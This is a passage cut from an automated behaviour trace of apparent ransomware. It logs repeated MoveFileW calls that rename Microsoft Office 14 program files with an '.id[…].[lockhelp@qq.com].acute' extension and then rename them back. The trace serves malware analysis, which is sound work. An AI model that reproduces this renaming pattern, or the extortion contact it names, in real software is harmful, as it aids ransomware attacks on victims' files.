office\\office14\\1033\\powerpnt.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs")) returned 0 [0276.204] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.204] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll")) returned 0 [0276.526] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.526] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll")) returned 0 [0276.526] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.526] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll")) returned 0 [0276.528] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.528] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll")) returned 0 [0276.535] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.535] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe")) returned 0 [0276.536] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.536] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe")) returned 0 [0276.538] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.538] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll")) returned 0 [0276.570] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\gfx.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\gfx.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.570] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\gfx.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\gfx.dll")) returned 0 [0276.570] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll" (normalized: "c:\\program files\\microsoft office\\office14\\gkexcel.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\gkexcel.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.570] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\gkexcel.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll" (normalized: "c:\\program files\\microsoft office\\office14\\gkexcel.dll")) returned 0 [0276.571] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll" (normalized: "c:\\program files\\microsoft office\\office14\\gkpowerpoint.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\gkpowerpoint.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.571] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\gkpowerpoint.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll" (normalized: "c:\\program files\\microsoft office\\office14\\gkpowerpoint.dll")) returned 0 [0276.571] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll" (normalized: "c:\\program files\\microsoft office\\office14\\gkword.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\gkword.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.572] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\gkword.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll" (normalized: "c:\\program files\\microsoft office\\office14\\gkword.dll")) returned 0 [0276.572] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.572] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe")) returned 0 [0277.051] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OIMG.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oimg.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OIMG.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\oimg.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.051] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OIMG.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\oimg.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OIMG.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oimg.dll")) returned 0 [0277.057] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OLMAPI32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\olmapi32.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OLMAPI32.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\olmapi32.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.057] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OLMAPI32.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\olmapi32.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OLMAPI32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\olmapi32.dll")) returned 0 [0277.060] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ONENOTE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\onenote.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ONENOTE.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\onenote.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.060] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ONENOTE.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\onenote.exe.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ONENOTE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\onenote.exe")) returned 0 [0277.061] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ONFILTER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\onfilter.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ONFILTER.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\onfilter.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.061] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ONFILTER.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\onfilter.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ONFILTER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\onfilter.dll")) returned 0 [0277.061] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ONMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\onmain.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ONMAIN.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\onmain.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.061] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ONMAIN.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\onmain.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ONMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\onmain.dll")) returned 0 [0277.062] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ORGCHART.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\orgchart.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ORGCHART.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\orgchart.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.062] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ORGCHART.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\orgchart.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ORGCHART.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\orgchart.dll")) returned 0 [0277.068] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\outlook.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\outlook.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.068] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\outlook.exe.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\outlook.exe")) returned 0 [0277.071] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\POWERPNT.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\POWERPNT.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.071] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\POWERPNT.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\POWERPNT.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe")) returned 0 [0277.072] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PPCORE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ppcore.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PPCORE.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\ppcore.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.072] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PPCORE.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\ppcore.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PPCORE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ppcore.dll")) returned 0 [0277.073] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PPTICO.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\pptico.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PPTICO.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\pptico.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.073] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PPTICO.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\pptico.exe.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PPTICO.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\pptico.exe")) returned 0 [0277.075] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\MSGR3EN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1033\\msgr3en.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\MSGR3EN.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1033\\msgr3en.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.075] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\MSGR3EN.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1033\\msgr3en.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\MSGR3EN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1033\\msgr3en.dll")) returned 0 [0277.076] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\MSGR3FR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1036\\msgr3fr.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\MSGR3FR.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1036\\msgr3fr.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.076] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\MSGR3FR.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1036\\msgr3fr.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\MSGR3FR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1036\\msgr3fr.dll")) returned 0 [0277.077] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\MSGR3ES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\3082\\msgr3es.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\MSGR3ES.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\3082\\msgr3es.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.077] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\MSGR3ES.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\3082\\msgr3es.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\MSGR3ES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\3082\\msgr3es.dll")) returned 0 [0277.077] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3EN.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3en.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3EN.LEX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3en.lex.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.077] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3EN.LEX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3en.lex.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3EN.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3en.lex")) returned 0 [0277.078] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3ES.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3es.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3ES.LEX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3es.lex.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.078] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3ES.LEX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3es.lex.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3ES.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3es.lex")) returned 0 [0277.080] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7en.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7en.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.080] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7en.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7en.dll")) returned 0 [0277.081] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7es.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7es.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.082] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7es.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7es.dll")) returned 0 [0277.082] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7es.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.LEX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7es.lex.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.082] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.LEX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7es.lex.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7es.lex")) returned 0 [0277.105] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft 